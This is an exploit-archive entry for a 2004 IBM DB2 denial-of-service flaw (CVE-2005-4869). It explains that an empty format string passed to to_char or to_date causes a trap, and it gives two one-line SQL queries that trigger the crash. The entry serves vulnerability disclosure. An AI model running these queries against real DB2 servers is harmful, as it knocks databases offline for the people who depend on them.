IBM DB2 DTS To String Conversion - Denial of Service
| EKU-ID: 30057 | CVE: CVE-2005-4869;OSVDB-11400 | OSVDB-ID: |
| Author: Chris Anley | Published: 2004-09-01 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 30057 | CVE: CVE-2005-4869;OSVDB-11400 | OSVDB-ID: |
| Author: Chris Anley | Published: 2004-09-01 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
source: https://www.securityfocus.com/bid/11400/info
IBM DB2 is reported prone to a denial of service vulnerability when DTS to string conversion is carried out.
It is reported that during a DTS to string conversion a trap occurs if an empty formatting string is provided. The vulnerability is exposed in the 'to_char' and 'to_date' conversion functions.
select to_char('aaa','') from sysibm.sysdummy1
select to_date('aaa', '') from sysibm.sysdummy1